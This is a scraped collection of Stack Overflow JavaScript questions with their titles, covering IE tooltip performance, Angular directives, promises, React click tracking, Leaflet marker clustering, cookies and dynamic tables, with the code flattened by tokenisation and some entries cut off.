url= '' /Some/Url=4129 '' sectiondate= '' 1/21/2011 12:00:00 AM '' > < /div > < /div > < span class= '' CategorizedNameHolder OnlyFloatLeftInIE7 '' style= '' display : inline-block ; width:350px ; padding-bottom:2px ; '' > < span class= '' AssignLink '' activityshiftid= '' 4129 '' > Blah Bla blah < /span > < /span > < span class= '' TimeHolderSpan '' > 9:00 AM < /span > < span class= '' TimeHolderSpan '' > 5:00 PM < /span > < div class= '' StatusIcons OnlyFloatLeftInIE7 '' > < div class='TipMe LegendMe ClassToPickTheIcon ' tooltip='Min # scheduled ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 3 < /span > < /div > < div class='TipMe LegendMe OtherClassToPickTheIcon ' tooltip='Unlocked ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 2 < /span > < /div > < div class='TipMe LegendMe AnotherClassToPickTheIcon ' tooltip='Do not auto assign ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 1 < /span > < /div > < div class='TipMe LegendMe OtherClassForIcon ' tooltip='on availabilities ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 2 < /span > < /div > < /div > < span class= '' OnlyFloatLeftInIE7 '' > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 1 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 5 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' Assigned '' > 5 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= `` A Number '' > 0 < /span > < /span > < /div > < div class= '' UserListHoder '' id= '' UserListHolder4129 '' activityshiftid= '' 4129 '' > < /div > < /li > < li class= '' EntityRow '' activityshiftid= '' 3534 '' id= '' ListItemFor3534 '' > < div class= '' BlueOnHover ScheduleShiftHeader '' style= '' width:100 % ; '' > < div class= '' Buttons OnlyFloatLeftInIE7 '' style= '' padding-top:0px ; padding-bottom:0px ; margin-top:0px ; margin-bottom:0px ; '' > < div class= '' GetShiftUserArrow OnlyFloatLeftInIE7 '' listisvisible= '' -1 '' activityshiftid= '' 3534 '' url= '' /Some/Url=3534 '' sectiondate= '' 1/21/2011 12:00:00 AM '' > < /div > < /div > < span class= '' CategorizedNameHolder OnlyFloatLeftInIE7 '' style= '' display : inline-block ; width:350px ; padding-bottom:2px ; '' > < span class= '' AssignLink '' activityshiftid= '' 3534 '' > even more < /span > < /span > < span class= '' TimeHolderSpan '' > 1:00 PM < /span > < span class= '' TimeHolderSpan '' > 4:30 PM < /span > < div class= '' StatusIcons OnlyFloatLeftInIE7 '' > < div class='TipMe LegendMe SchedulingFullyA NumberIcon ' tooltip='Min # A Number ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 4 < /span > < /div > < div class='TipMe LegendMe LockedIcon ' tooltip='Locked ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 1 < /span > < /div > < div class='TipMe LegendMe ClassToPickTheIconAgain ' tooltip='Auto assign ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 2 < /span > < /div > < div class='TipMe LegendMe OtherClassForIcon ' tooltip='on assignments ' legendgroupid= ' 5 ' > < span class='NoDisplay ' > 3 < /span > < /div > < /div > < span class= '' OnlyFloatLeftInIE7 '' > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 1 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 5 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' A Number '' > 0 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= '' Assigned '' > 7 < /span > < span class= '' SkinnyColumn TipMe ContentToolTip '' tooltip= `` A Number '' > 3 < /span > < /span > < /div > < div class= '' UserListHoder '' id= '' UserListHolder3534 '' activityshiftid= '' 3534 '' > < /div > < /li > < /ul > < /div > < /div > < /li > ​ $ ( `` .TipMe '' ) .live ( `` mouseover '' , function ( ) { var $ this = $ ( this ) ; $ this.removeAttr ( 'title ' ) ; $ this.removeAttr ( 'alt ' ) ; if ( ! $ this.data ( `` toolTipAttached '' ) ) { $ this.qtip ( { show : { ready : true , solo : true , delay : 500 } , style : { classes : 'ui-tooltip-light InfoCardTip ' , widget : true } , content : $ this.attr ( 'tooltip ' ) , position : { at : 'bottomRight ' , my : 'topleft ' , adjust : { screen : 'flip ' , x : 0 , y : 0 } } , hide : { fixed : true , inactive : 1000 } } ) ; $ this.data ( `` toolTipAttached '' , true ) ; // $ this.trigger ( `` mouseover '' ) ; } } ) ;",Suggestions for dealing with IE 's terrible Javascript / Dom accessing engine "JS : Assume we need to create two ways to define configs of a directive:1 - using element attributes2- requiring another directivehow to require mainDirConfig directive inside mainDir directive ( as a preferred way ) only if mainDirConfig exists and otherwise use element attributes as configs ? More info : I want to use this config for an external module and I need to separate user configs from module . < any main-dir main-name= '' myname '' name-id= '' may-id '' main-other-config= '' other config '' > < /any > app.directive ( `` mainDirConfig '' , function ( ) { return { controller : function ( scope ) { scope.config = { name : 'my name ' , id : 'my-id ' , otherConfigs : 'other config ' } } } } ) ; < any main-dir main-dir-config > < /any >",how to require a directive ( inside another directive ) only if exist "JS : When running the following code , I get different results depending on if I have console.log ( `` fnError : `` , fnError ) commented out or not . This seems very off to me.How in the world is a call to console.log affecting my promises ? The above produces : Notice `` incorrect message '' being logged . And if you comment out console.log ( `` fnError : `` , fnError ) you get this : Running node 8.0.0 function run ( ) { var fn = function ( ) { throw new Error ( `` incorrect message '' ) ; } ; // returns a promise that should fail with // an error object whose .message is `` correct message '' var promisifiedFn = function ( ) { return Promise.resolve ( ) .then ( fn ) .catch ( ( fnError ) = > { // commenting this out fixes things ! // console.log ( `` fnError : `` , fnError ) ; /////////////////////////////////////// fnError.message = `` correct message '' ; throw fnError ; } ) } promisifiedFn ( ) .catch ( ( e ) = > { console.log ( `` caught error.message : '' , e.message ) ; console.log ( `` caught error : '' , e ) ; } ) ; } run ( ) ; // fnError : Error : incorrect message// at fn ( /Users/sam/dev/ethereum/pennyeth/js/temp.js:18:9 ) // at < anonymous > // at process._tickCallback ( internal/process/next_tick.js:169:7 ) // ... // caught error.message : correct message// caught error : Error : incorrect message// at fn ( /Users/sam/dev/ethereum/pennyeth/js/temp.js:18:9 ) // at < anonymous > // at process._tickCallback ( internal/process/next_tick.js:169:7 ) // ... // caught error.message : correct message// caught error : Error : correct message// at fn ( /Users/sam/dev/ethereum/pennyeth/js/temp.js:18:9 ) // at < anonymous > // at process._tickCallback ( internal/process/next_tick.js:169:7 ) // ... .",NodeJS bug with promise.catch and console.log ? "JS : In the sample I 've put together , I need to : Use a jquery POST inside $ ( document ) .ready to grab a `` ticket '' I use laterOn success of the post , call another function ( `` AddTicketAndRender ( ) '' ) and pass in that ticketIn AddTicketAndRender ( ) , replace a placeholder value in an HTML template with the ticket that was passed in . The HTML template defines an object I need to render.Add the HTML template to body and render : I have this working in jsfiddle : http : //jsfiddle.net/vm4bG/4/However , when I combine the HTML and JavaScript together into a single htm file , the visualization I want is n't getting rendered in Chrome , IE , or Firefox . Here is complete source from the HTM that is n't working . Can anyone see something that is obviously wrong ? My markup & script is below and/or here : http : //tableau.russellchristopher.org:81/rfc1.htm Calls to console.log in the success function are logging correct information - so I know I 'm getting where I need to - but the object does n't seem to be doing what it needs to . function addTicketAndRender ( incomingTicket ) { //For now , just touch the spinner , do n't worry about the ticket . var template = $ ( ' # tableauTemplate ' ) .html ( ) , filledTemplate = template.replace ( ' { placeholder } ' , 'yes ' ) ; $ ( 'body ' ) .append ( filledTemplate ) ; } < html > < head > < script type= '' text/javascript '' src= '' http : //public.tableausoftware.com/javascripts/api/viz_v1.js '' > < /script > < script type= '' text/javascript '' src= '' http : //code.jquery.com/jquery-1.7.2.min.js '' > < /script > < /head > < ! -- template code follows -- > < script type= '' text/template '' id= '' tableauTemplate '' > < div class= '' tableauPlaceholder '' id= '' tableauPlaceholder '' style= '' width:654px ; height:1469px ; background-image : url ( 'http : //tableau.russellchristopher.org:81/Background.gif ' ) ; top : 0px ; left : 0px ; width : 100 % ; margin-left : 76px ; '' > < object class= '' tableauViz '' width= '' 654 '' height= '' 1469 '' > < param name= '' host_url '' value= '' http % 3A % 2F % 2Fpublic.tableausoftware.com % 2F '' / > < param name= '' site_root '' value= '' '' / > < param name= '' name '' value= '' AnalyticsIncJavaScript & # 47 ; AnalyticsInc '' / > < param name= '' tabs '' value= '' no '' / > < param name= '' toolbar '' value= '' yes '' / > < param name= '' static_image '' value= '' tableau.russellchristopher.org:81/Background.gif '' / > < param name= '' animate_transition '' value= '' yes '' / > < param name= '' display_static_image '' value= '' yes '' / > < param name= '' display_spinner '' value= '' { placeholder } '' id= '' display_spinner '' / > < param name= '' display_overlay '' value= '' yes '' / > < param name= '' display_count '' value= '' yes '' / > < /object > < /div > < /script > < ! -- end of template -- > < body > < script > function addTicketAndRender ( incomingTicket ) { // grab tableau template code and replace ticket placeholder with incomingTicket from $ .postconsole.log ( `` Add and Render '' ) ; //For now , just touch the spinner , do n't worry about the ticket . var template = $ ( ' # tableauTemplate ' ) .html ( ) , filledTemplate = template.replace ( ' { placeholder } ' , 'no ' ) ; $ ( 'body ' ) .append ( filledTemplate ) ; console.log ( incomingTicket ) ; console.log ( `` Appended . `` ) ; } $ ( document ) .ready ( function ( ) { console.log ( `` ready '' ) ; var trustedURL = `` http : //tableau.russellchristopher.org/trusted '' , userName = `` foo '' , serverURL = `` http : //tableau.russellchristopher.org/ '' ; $ .post ( trustedURL , { username : userName , server : serverURL , client_ip : `` '' , target_site : `` '' } , function ( response ) { addTicketAndRender ( response ) ; } ) ; } ) ; < /script > < /body > < /html >",< object > created by function called from $ ( document ) .ready not rendered "JS : I 'd like to implement a higher order react component which can be used to easily track events ( like a click ) on any React component . The purpose of this is to easily hook clicks ( and other events ) into our first party analytics tracker.The challenge I 've come across is that the React synthetic event system requires events ( like onClick ) be bound to react DOM elements , like a div . If the component I 'm wrapping is a custom component , like every HOC implemented via a higher order function is , my click events do n't bind correctly.For example , using this HOC , the onClick handler will fire for button1 , but not for button2.CodeSandbox with working example : https : //codesandbox.io/embed/pp8r8oj717My goal is to be able to use an HOF like this ( optionally as a decorator ) to track clicks on any React component definition.The only solution I can think of atm is using a Ref on each child and manually binding my click event once the Ref is populated.Any ideas or other solutions are appreciated ! UPDATE : Using the remapChildren technique from @ estus ' answer and a more manual way of rendering the wrapped components , I was able to get this to work as a higher order function - https : //codesandbox.io/s/3rl9rn1om1 // Higher Order Component class Track extends React.Component { onClick = ( e ) = > { myTracker.track ( props.eventName ) ; } render ( ) { return React.Children.map ( this.props.children , c = > React.cloneElement ( c , { onClick : this.onClick , } ) , ) ; } } function Wrapper ( props ) { return props.children ; } < Track eventName= { 'button 1 click ' } > < button > Button 1 < /button > < /Track > < Track eventName= { 'button 2 click ' } > < Wrapper > < button > Button 2 < /button > < /Wrapper > < /Track > export const withTracking = eventName = > Component = > props = > { return ( < Track eventName= { eventName } > { /* Component can not have an onClick event attached to it */ } < Component { ... props } / > < /Track > ) ; } ; export const withTracking = eventName = > Component = > { if ( typeof Component.prototype.render ! == `` function '' ) { return props = > < Track eventName= { eventName } > { Component ( props ) } < /Track > ; } return class extends Component { render = ( ) = > < Track eventName= { eventName } > { super.render ( ) } < /Track > ; } ; } ;",Higher Order React Component for Click Tracking "JS : i am making a map that uses a slider to show or hide markers , and i want to add clustering functionality , each one alone works perfectly , but i want the slider to show the markers , and in case of markers very close to use a cluster . the problem is that both , the individual and the marker clusters are showing , i want the shown markers to cluster not clusters being there all the timesorry for some comments , some are just actual code made as comments for debuggung < script type= '' text/javascript '' > var sliderControl = null ; //creating layers var cities = new L.LayerGroup ( ) ; var mbAttr = 'Map data & copy ; < a href= '' http : //openstreetmap.org '' > OpenstreetMap < /a > contributors , ' + ' < a href= '' http : //creativecommons.org/licenses/by-sa/2.0/ '' > CC-BY-SA < /a > , ' + 'Imagery © < a href= '' http : //mapbox.com '' > Mapbox < /a > ' , mbUrl = 'https : // { s } .tiles.mapbox.com/v3/ { id } / { z } / { x } / { y } .png ' ; var grayscale = L.tileLayer ( 'https : //api.tiles.mapbox.com/v4/ { id } / { z } / { x } / { y } .png ? access_token= { accessToken } ' , { id : 'remote-sensing.n8k508ak ' , attribution : mbAttr , accessToken : 'pk.eyJ1IjoicmVtb3RlLXNlbnNpbmciLCJhIjoiYWNiYzg0ZWU2Mjk3ZTU5NjE4MmQyZWEzZTY2ZWNlYjIifQ.U7mp4MXdcjaIwW_syAqriQ ' } ) , streets = L.tileLayer ( 'https : //api.tiles.mapbox.com/v4/ { id } / { z } / { x } / { y } .png ? access_token= { accessToken } ' , { id : 'remote-sensing.84f6c85a ' , attribution : mbAttr , accessToken : 'pk.eyJ1IjoicmVtb3RlLXNlbnNpbmciLCJhIjoiYWNiYzg0ZWU2Mjk3ZTU5NjE4MmQyZWEzZTY2ZWNlYjIifQ.U7mp4MXdcjaIwW_syAqriQ ' } ) ; //create and add the layers to the map var map = L.map ( 'map ' , { center : [ 33.9 , 35.877 ] , zoom : 10 , layers : [ streets , cities ] } ) ; //get length of the entries array var len = `` { { events|length } } '' ; var date = 1 ; var time = 2 ; var lat = 4 ; var lon = 5 ; //get events from database var stri = `` { % for event in events % } { { event.timestamp|date : '' Y-m-d H '' } } { { event.lat } } { { event.lon } } < br > { % endfor % } '' ; var entry = stri.split ( `` `` ) ; //create the clustermarker object var markers = new L.markerClusterGroup ( ) ; //create markers and add to cluster var mymark ; for ( var t = 0 ; t < len ; t++ ) { mymark = new L.marker ( [ entry [ lat ] , entry [ lon ] ] , { time : `` \ '' '' + entry [ date ] + entry [ time ] + `` +01\ '' '' } ) ; mymark.bindPopup ( `` < b > Accident < /b > < br > this is marker number `` + ( t + 1 ) + `` with coordinates : [ `` + entry [ lat ] + `` , '' + entry [ lon ] + `` ] '' ) .openPopup ( ) ; markers.addLayer ( mymark ) ; date += 8 ; time += 8 ; lat += 8 ; lon += 8 ; } mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; mymark = new L.marker ( [ 33.8,35.5 ] ) ; markers.addLayer ( mymark ) ; //add cluster to map // map.addLayer ( markers ) ; //baseLayers for the map var baseLayers = { `` Grayscale '' : grayscale , `` streets '' : streets } ; layerGroup = L.layerGroup ( markers ) ; // $ .getJSON ( `` data.geojson '' , function ( data ) { // var testlayer = L.geoJson ( data ) ; var sliderControl = L.control.sliderControl ( { position : `` topright '' , layer : markers , range : false , follow : 3 } ) ; // ( { position : `` topright '' , layer : testlayer , follow : 3 } ) ; map.addControl ( sliderControl ) ; sliderControl.startSlider ( ) ; // } ) ; < /script >",How to use leaflet slider along with markercluster in Javascript ? "JS : I recently found the following question online : Write a function that takes an object and appends it to the DOM , making it so that events are buffered until the next tick ? Explain why this is useful ? Here is my response : Why did I set the interval to zero ? According to this article , setting the timeout to 0 , delays the events until the next tick : The execution of func goes to the Event queue on the nearest timer tick . Note , that ’ s not immediately . No actions are performed until the next tick.Here 's what I am uncertain of : Is my solution correct ? I can not answer why this approach is beneficialFor reference , I got this question from this website listing 8 JavaScript interview questions.I 'd also like to point out that I am asking this question for my own research and improvement and not as part of a code challenge , interview question , or homework assignment . function appendElement ( element ) { setTimeout ( function ( ) { document.body.appendChild ( element ) ; } , 0 ) ; }",How to Write A Function That Appends an Item to the DOM and Delays the Next Tick ? "JS : I am learning javascript and i came across a doubt . Why is the value of `` this '' undefined in the first example , but prints out correctly in the second.example 1 : example 2 : Why does the value of `` this '' changes within the function . What concept am i missing ? var myNamespace = { myObject : { sayHello : function ( ) { console.log ( `` name is `` + this.myName ) ; } , myName : `` john '' } } ; var hello = myNamespace.myObject.sayHello ; hello ( ) ; // `` name is undefined '' var myNamespace = { myObject : { sayHello : function ( ) { console.log ( `` Hi ! My name is `` + this.myName ) ; } , myName : `` Rebecca '' } } ; var obj = myNamespace.myObject ; obj.sayHello ( ) ; // '' Hi ! My name is Rebecca ''",Why does the value of `` this '' changes . ? "JS : I was just taking a look through the source for the examples on the three.js github page , and I came across this ImprovedNoise class , which is basically a Perlin noise script : https : //github.com/mrdoob/three.js/blob/master/examples/js/ImprovedNoise.jsAt the very top of the ImprovedNoise function is this : You 'll notice that p is populated with a randomly-sorted array of the numbers 0 to 255 . Once the p array is established , the script does a for loop over every position in the array and effectively latches a copy of itself from positions 256 to 511 . The order is the same , but the indexes are shifted by 256.So my question is this : is it faster in JavaScript to loop over an array like this or to simply do.. var p = [ 151,160,137,91,90,15,131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10 , 23,190,6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,88,237,149,56,87 , 174,20,125,136,171,168,68,175,74,165,71,134,139,48,27,166,77,146,158,231,83,111,229,122,60,211 , 133,230,220,105,92,41,55,46,245,40,244,102,143,54,65,25,63,161,1,216,80,73,209,76,132,187,208 , 89,18,169,200,196,135,130,116,188,159,86,164,100,109,198,173,186,3,64,52,217,226,250,124,123,5 , 202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,223,183,170,213,119 , 248,152,2,44,154,163,70,221,153,101,155,167,43,172,9,129,22,39,253,19,98,108,110,79,113,224,232 , 178,185,112,104,218,246,97,228,251,34,242,193,238,210,144,12,191,179,162,241,81,51,145,235,249 , 14,239,107,49,192,214,31,181,199,106,157,184,84,204,176,115,121,50,45,127,4,150,254,138,236,205 , 93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180 ] ; for ( var i=0 ; i < 256 ; i++ ) { p [ 256+i ] = p [ i ] ; } p = p.concat ( p ) ;",Is concatenating an array to itself faster than looping through the array to create more indexes ? "JS : I would like to use in a Shape componentIt is common for shape components in d3-shape to return a path if the rendering context is not set , which is the case in React-NativeIt is possible to somehow gain acess on the react node context ? The path is not a viable option , since the axis will be a group of items , not a path axis = d3.axisLeft ( scale ) < Shape d = { axis ( ) } / >",Draw d3-axis in react-native "JS : GoalI 'm trying to create a series of promise 'enhancers ' which will add functionality ( such as caching , queuing , redirect handling , etc . ) around existing promises which are simple http requests.ProblemThe issue I 'm experiencing with this method of enhancing promises is that if an enhancement adds any functions or publicly accessible properties to the promise ( or if I 'm wrapping an already-enhanced promise like a restangular request ) , those are lost when I wrap it in a new promise by returning a new $ q.QuestionWhat pattern can I use to enhance or wrap promises ( like in the two examples below ) , but without losing any other ( non-conflicting ) enhancements promises might have ? Example 1Here is an example that will automatically handle 503-Retry-After errors : The idea is that if I return a promise enhanced with the above function , the user can go : Or to be more clear ( with chaining ) : Here , the first call to then ( ... ) might error out right away if the server is busy , but the calls after .withAutoRetry ( ) will poll the server with repeated requests until the response is successful , or a non RetryAfter error is returned.Example 2Here is an another example which adds custom caching behaviour : This one allows the library to set up a cache of data which can be used instead of making requests to the server , and can be added to after a request is completed . For example : ElsewhereAnd somewhere else entirelyPossible SolutionI 've considered copying the original promise , but then overwriting the new one 's then function with an implementation that references the original promise 's then ( using the Proxy Pattern ) , but is this safe ? I know there 's a lot more to promises than just the then function . function _enhancePromiseWithAutoRetry ( promise ) { var enhancedPromise = $ q ( function ( resolve , reject ) { var newReject = get503Handler ( this , resolve , reject ) ; promise.then ( resolve , newReject ) ; } ) ; // 503 handling is n't enabled until the user calls this function . enhancedPromise.withAutoRetry = function ( onRetry , timeout ) { var newPromise = angular.copy ( this ) ; newPromise._503handled = true ; newPromise._503onRetry = onRetry ; newPromise._503timeout = timeout ; return newPromise ; } ; return enhancedPromise ; } someRequest.withAutoRetry ( ) .then ( onSuccess , onError ) ; someRequest.then ( onSuccess , onAnyError ) .withAutoRetry ( ) .then ( onSuccess , onNon503Error ) ; function _enhancePromiseWithCache ( promise , cacheGet , cachePut ) { // Wrap the old promise with a new one that will get called first . return $ q ( function ( resolve , reject ) { // Check if the value is cached using the provided function var cachedResponse = cacheGet ! == undefined ? cacheGet ( ) : undefined ; if ( cachedResponse ! == undefined ) { resolve ( cachedResponse ) ; } else { // Evaluate the wrapped promise , cache the result , then return it . promise.then ( cachePut ) ; promise.then ( resolve , reject ) ; } } ) ; } lib.getNameOrigin = function ( args ) { var restRequest = Restangular.all ( 'people ' ) .one ( args.id ) .get ( 'nameOrigin ' ) ; // Cache , since all people with the same name will have the same name origin var enhancedPromise = _enhancePromiseWithCache ( restRequest , function ( ) { return nameOrigins [ args.name ] ; } , function ( val ) { nameOrigins [ args.name ] = val ; } ) ; return enhancedPromise ; } // Will transparently populate the cachelib.getNameOrigin ( { id : 123 , name : 'john ' } ) .then ( onSuccess , onError ) .then ( ... ) ; // Will transparently retrieve the result from the cache rather than make requestlib.getNameOrigin ( { id : 928 , name : 'john ' } ) .then ( onSuccess , onError ) ;",AngularJS : Enhancing or wrapping promises with pre/post resolve/reject actions "JS : Assistance is required on enabling a cookie to be used cross sub domains . Unable to set the cookie to correct value in javascript . I am not sure if Javascript is failing to set the cookie or MVC.NET is rejecting the request cookie.Browsers not workingChrome 43 ( Windows ) Firefox 38 ( Windows ) iOS 8 SafariWhen setting my web.config to use < httpCookies domain= '' .adomain.com '' / > things start to go horribly wrong . I have some javascript code , in conjuction with pickadate.js datepicker which changes the cookie value to the date selected by a user.Javascript FunctionWhat .NET is doing when it receives the requestOnce the datepicker has been changed , it will refresh to page , sending a new request with the date in the cookie . This is picked up a MVC.NET controller . However , the cookie is not changing on the clientside.The http request contains the following duplicate for _date : but the date should equal 31/07/2015 , but i have duplicates . The domains are different in the chrome resouce tab . _date=30/07/2015 ; domain=.adomain.com < < I NEED IT TO BE THIS DOMAIN SETTING_date=30/07/2015 ; domain=sub.adomain.com // Call pickadate API to retrieve selected datevar dateString = this.get ( 'select ' , 'dd/mm/yyyy ' ) ; var cd = new Date ( ) ; var exp = cd.setMinutes ( cd.getMinutes ( ) + 10 ) setCookie ( `` _date '' , dateString , new Date ( exp ) , `` / '' , `` .adomain.com '' ) ; window.location.reload ( ) ; function setCookie ( name , value , expires , path , theDomain , secure ) { value = escape ( value ) ; var theCookie = name + `` = '' + value + ( ( expires ) ? `` ; expires= '' + expires.toGMTString ( ) : `` '' ) + ( ( path ) ? `` ; path= '' + path : `` '' ) + ( ( theDomain ) ? `` ; domain= '' + theDomain : `` '' ) + ( ( secure ) ? `` ; secure '' : `` '' ) ; document.cookie = theCookie ; } if ( this.ControllerContext.HttpContext.Request.Cookies.AllKeys.Contains ( `` _date '' ) ) { cookie.Value = this.ControllerContext.HttpContext.Request.Cookies [ sessionDate ] .Value ; // Do some logic with date to retrieve products } else { // Set cookie.value to today 's date } cookie.HttpOnly = false ; cookie.Path = `` / '' ; cookie.Secure = true ; this.ControllerContext.HttpContext.Response.Cookies.Set ( cookie ) ; _date=30/07/2015 ; _date=31/07/2015 ;",Setting Cookies across sub domain javascript pitfall "JS : I am trying to use this function to create 2 results from valueAll other browsers including IE9 , will produce terms = [ `` Jim '' , `` '' ] However , IE8 and probably IE7 produces this : terms = [ `` Jim '' ] Does anyone have any suggestions or alternatives that could possibly work for IE8 ? function split ( val ) { return val.split ( / , \s*/ ) ; } ; value = `` Jim , `` ; var terms = split ( value ) ; terms ;",IE8 parses this simple regex differently from all other browsers "JS : This is really infuriating . I ca n't find anywhere in my code where I 'm doing anything illegal , but for some reason , calling fork blows up my program . Here 's the code . The relevant portion is in svgToPNG where I call fork.If I take the fork line out and replace it with something else , everything is hunky dory , but if I leave it in , I get : It makes no sense . I do n't have any weird illegal unicode character like in this question , I do n't believe I have any kind of parse error like in this one ... I really do n't know what 's going on.Could it be that CoffeeScript is somehow breaking the code ? That seems really unlikely , but I do n't know . { fork } = require 'child_process ' { Coral } = require 'coral'svgToPNG = ( svg , reply , log ) - > log `` converting SVG to a PNG '' # set up a child process to call convert svg : png : - convert = fork '/usr/bin/env ' , [ 'convert ' , 'svg : ' , 'png : - ' ] log `` Spawned child process running convert , pid `` + convert.pid # set up behavior when an error occurs convert.stderr.on `` data '' , - > log `` Error occurred while executing convert '' reply `` error '' # set up behavior for when we successfully convert convert.stdout.on `` data '' , - > log `` Successful conversion ! : ) '' log `` here 's the data : `` + data reply data # pipe the SVG into the stdin of the process ( starting it ) convert.stdin.end svg > coffee src/coral_client.coffeefinished doing conversion to svg ! converting SVG to a PNGSpawned child process running convert , pid 60823/usr/bin/grep:1 ( function ( exports , require , module , __filename , __dirname ) { ���� ^SyntaxError : Unexpected token ILLEGAL at Module._compile ( module.js:439:25 ) at Object.Module._extensions..js ( module.js:474:10 ) at Module.load ( module.js:356:32 ) at Function.Module._load ( module.js:312:12 ) at Function.Module.runMain ( module.js:497:10 ) at startup ( node.js:119:16 ) at node.js:901:3","Coffeescript unexpected token ILLEGAL , but there should n't be anything illegal" "JS : I am messing around with JavaScript experimenting to get a feel for it and have already hit a problem . Here is my html code : Here is the JavaScript testing.js : Here is the style sheet styles.css : So a very simple example , but I may have chose an awkward example , using on-load in a body tag . So the code above loads and runs the function , but the style sheet does nothing , unless I remove the script tags in the head . I have tried putting the script tags everywhere else , but nothing works . I have researched on-line how to properly link to JavaScript files , and have no found no clear solution , can anyone point out my error ? I have used JavaScript before , but I want a clear understanding from the beginning before I use it any longer < ! DOCTYPE html PUBLIC `` -//W3C//DTD HTML 4.01 Transitional//EN '' '' http : //www.w3.org/TR/html4/loose.dtd '' > < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=ISO-8859-1 '' > < title > Insert title here < /title > < link rel= '' stylesheet '' type= '' text/css '' href= '' styles.css '' > < script type= '' text/javascript '' src= '' testing.js '' > < /script > < /head > < body onload= '' writeLine ( ) '' > < /body > < /html > function writeLine ( ) { document.write ( `` Hello World ! '' ) } html , body { background-color : red ; }",Stylesheet ignored when using body onload and document.write "JS : Is it possible to build navigation for a header component when all of my routes are stores in route module files using lazy loading ? I have seen articles that build navigation dynamically when all of the navigation is stored in a JSON object or file and they load it all in one shot and build it from there , but none of those articles used lazy loading . I have an Angular 6 app that uses lazy loading and has quite an extensive navigation structure , and I do n't want to hard-code all of the navigation items in the HTML , even though that is not hard to do . I think it is a more viable option to load the values from a structure and dynamically build the navigation markup with Angulars *ngFor directive . My question is , is this possible with lazy loading ? A little more detail : my app has an app-routing.module and in there is the main route data that tells the app to load the modules , like for example : So , when a user navigates to /test , the TestModule is correctly loaded . I hard-code this route however in the navigation markup of my header.component , like this : Is it possible to build my navigation ( < a > tags ) dynamically with lazy loading in place ? Thanks ! { path : 'test ' , loadChildren : './test/test.module # TestModule ' } < a routerLink= '' test/main '' > Test < /a >",How do you dynamically build navigation in Angular when using lazy loading ? "JS : As gdoron pointed out , Will swap a and b , and although it looks a bit of hacky , it has triggered my curiosity and I am very curious at how it works . It does n't make any sense to me . var a = `` a '' ; var b = `` b '' ; a = [ b ] [ b = a,0 ] ;","How does [ b ] [ b = a,0 ] swap between a and b ?" "JS : I have a function building a dynamic table . I 'm having trouble figuring out how to set each column to a different data set from the database . Right now it just shows the same value in each column . A little background . I 'm building a table with 6 columns and lots of rows ( all depends how much data the database has ) . Right now it 's only showing one column in all of the 6 columns , so they repeat . How can I set each column to a different value for the 6 columns ? Here is the ajax call : The errorData is the data from the database . As you can see I 've tried to add 2 variables but when I do that it just puts both of them in the same box and repeats throughout the whole table . function addTable ( ) { var len = errorTableData.length ; var myTableDiv = document.getElementById ( `` myDynamicTable '' ) ; var table = document.createElement ( 'TABLE ' ) ; table.border= ' 1 ' ; table.id = `` dataTable '' ; var tableBody = document.createElement ( 'TBODY ' ) ; table.appendChild ( tableBody ) ; for ( var i=0 ; i < len ; i++ ) { var tr = document.createElement ( 'TR ' ) ; tr.className = `` rowEditData '' ; tableBody.appendChild ( tr ) ; for ( var j=0 ; j < 6 ; j++ ) { var countyName = errorTableData [ 'CountyName ' ] [ i ] ; var stateName = errorTableData [ 'StateName ' ] [ i ] ; var td = document.createElement ( 'TD ' ) ; td.className = `` mdl-data-table__cell -- non-numeric '' ; td.appendChild ( document.createTextNode ( countyName ) ) ; td.appendChild ( document.createTextNode ( stateName ) ) ; tr.appendChild ( td ) ; } } myTableDiv.appendChild ( table ) ; } function triggerDataTable ( index ) { // Make AJAX requests for model systems $ .ajax ( { type : `` POST '' , url : `` qry/getAllData.php '' , async : true , dataType : `` html '' , data : { ErrorOptions : control.settings.errorOptions } , success : function ( result ) { //console.warn ( result ) ; errorData = JSON.parse ( result ) ; //loop through data var len = errorData.length ; for ( i=0 ; i < len ; i++ ) { if ( 'VersionKey ' in errorData [ i ] ) { vKey = ( errorData [ i ] [ 'VersionKey ' ] ) ; } else if ( 'ErrorCode ' in errorData [ i ] ) { var errorCode = ( errorData [ i ] [ 'ErrorCode ' ] ) ; } else if ( 'SourceKey ' in errorData [ i ] ) { var sourceKey = ( errorData [ i ] [ 'SourceKey ' ] ) ; } else { //data here errorTableData = errorData [ i ] ; } } addTable ( ) 